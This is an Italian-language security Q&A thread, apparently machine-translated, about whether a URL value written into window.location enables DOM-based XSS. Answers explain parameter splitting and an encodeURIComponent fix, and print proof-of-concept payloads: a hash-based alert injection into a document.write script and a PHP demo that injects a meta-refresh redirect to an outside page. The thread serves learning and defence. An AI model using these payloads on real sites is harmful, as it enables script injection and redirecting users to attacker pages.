Utilizzo di XSS basato su DOM per reindirizzare a domini diversi o eseguire script?

0

Stavo provando le mie mani su XSS basato su DOM. Mi sono imbattuto in uno scenario in cui una stringa controllata dall'utente dall'URL è inclusa in JavaScript come di seguito.

var userControlled=substring of URL;
window.location="/abc/xyz?param="+userControlled;

L'URL è qualcosa come http://mydomain/param1=qwerty , dove posso inserire qualsiasi valore per param1 e il sistema non si lamenterà.

Nota: il valore di param1 non appare direttamente da nessuna parte nella risposta, ma è usato dal DOM.

Oppure l'URL può essere http://mydomain/param1=qwerty#sadsdsdsd .

Mi stavo chiedendo, c'è un modo per reindirizzare l'utente a un dominio diverso o eseguire uno script o qualcosa che possa aiutarmi a eseguire un attacco XSS di successo? O qualsiasi altro attacco per quella materia.

    
posta Sachin Kumar 21.11.2011 - 11:45
fonte

4 risposte

4

Questo snippet di codice non ha un difetto XSS ma soffre della divisione dei parametri. Consente all'utente di specificare parametri GET aggiuntivi che possono consentire l'escalation dei privilegi quando la richiesta porta credenziali come un token CSRF in un parametro precedente o cookie di autorizzazione.

Ad esempio, se userControlled è

&start-world-war-iii=true

allora il browser recupererà /abc/xyz?param=&start-world-war-iii=true con i cookie dell'utente.

Probabilmente è a basso rischio dato che l'assegnazione di window.location porta a una richiesta GET che raramente ha effetti collaterali che possono essere abusati dalle credenziali riportate.

Per attenuarlo, userControlled dovrebbe essere normalizzato:

window.location="/abc/xyz?param=" + encodeURIComponent(userControlled);
    
risposta data 22.11.2011 - 22:04
fonte
3

Questo snip di JS non è vulnerabile agli XSS basati su DOM. Ti consiglio di utilizzare il plugin DOM Snitch per il controllo delle applicazioni per XSS basato su DOM.

    
risposta data 21.11.2011 - 16:33
fonte
1

Mentre la risposta di Mike è corretta in quanto l'esempio fornito non è vulnerabile a XSS basato su DOM, il suo attacco proposto non è necessario in quanto un utente malintenzionato che può far sì che un utente faccia clic sul suo particolare collegamento potrebbe anche solo far visitare un utente < em> / abc / xyz? param = & start-world-war-iii = true posizione direttamente.

Se ad esempio il codice fosse più simile a questo, sarebbe vulnerabile a XSS basato su DOM:

var userControlled = document.location.hash.slice(1);
var s = "<script>document.location='/path/to/thing/" + userControlled + "';<\/script>";
document.write(s);

Poi ci sono diverse cose che puoi fare. Mentre potrebbe essere immediatamente ovvio utilizzare qualcosa come / percorso / a / target? Param = valore # alert ('xss'); ' per interrompere la modifica della posizione mentre è ancora essendo in grado di eseguire JavaScript, si può anche usare qualcosa come / path / to / target? param = value # '% 2b (alert (' xss2 '),' value ')% 2b' che eseguirà comunque la modifica della posizione, ma eseguirà anche JavaScript concatenando insieme la nuova stringa di posizione.

    
risposta data 04.09.2013 - 16:54
fonte
-1

Sì, il tuo esempio è sfruttabile per XSS basato su DOM per reindirizzare un utente. Ecco un esempio di un carico utile:

make_a_js_error;</script><meta http-equiv="refresh" content="0;URL='http://test.com/hack.html" />

Possiamo fare un errore js sulla pagina per fermare il comportamento regolare di JS sulla pagina. Quindi l'utente può essere reindirizzato con meta tag.

Ecco un esempio completo:

<?php

$hostMain = '//test.com';
$myFile=basename(__FILE__);

$payload =
    <<<PLD
make_a_js_error;</script><meta http-equiv="refresh" content="0;URL='http://test.com/hack.html" />
PLD;
?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>XSS Sample</title>
</head>
<body>
<script>
    <?php if(isset($_GET['param'])):?>
        window.location = "<?php echo $hostMain . '/' . $myFile;?>/?param="+<?php echo urldecode($_GET['param'])?>;
    <?php endif;?>
</script>
<a href="<?php echo $hostMain  . '/' . $myFile . "?param="; echo urlencode($payload);?>">do redirect</a>

</body>
</html>
    
risposta data 02.11.2018 - 20:17
fonte

Leggi altre domande sui tag